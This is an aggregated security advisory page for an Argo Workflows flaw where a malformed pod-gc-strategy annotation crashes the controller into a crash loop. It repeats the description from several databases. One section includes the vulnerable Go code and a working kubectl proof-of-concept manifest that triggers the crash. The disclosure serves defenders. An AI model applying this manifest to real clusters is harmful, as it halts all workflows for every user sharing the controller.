Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows controller

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Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

Source published

23 Apr 2026 18:12:05 UTC

Source modified

15 Jul 2026 01:00:32 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

Source published

Apr 23, 2026, 6:12:05 PM (timezone not stated)

Source modified

Jul 15, 2026, 1:00:32 AM (timezone not stated)

Observed here

1 Nov 2026 07:04:59 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

Source published

23 Apr 2026 19:17:28 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 10:10:07 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

### Summary An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. ### Details `podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`: ```go func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} } ``` If the annotation value contains no "/", `parts` has length 1 and `parts[1]` panics with index out of range. The code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and affects versions: - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263)) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier ### PoC Apply this workflow to a cluster running the Argo Workflows controller: ```bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF ``` Within seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show: ``` panic: runtime error: index out of range [1] with length 1 goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246 ``` Recovery requires deleting the poisoned workflow: ``` kubectl delete workflow -n argo crash-podgc ``` ### Impact Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Source published

23 Apr 2026 21:39:21 UTC

Source modified

10 Sep 2026 03:50:43 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Publisher rating · HIGH

Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller in github.com/argoproj/argo-workflows

Source published

25 Jun 2026 18:26:48 UTC

Source modified

26 Jun 2026 15:44:23 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.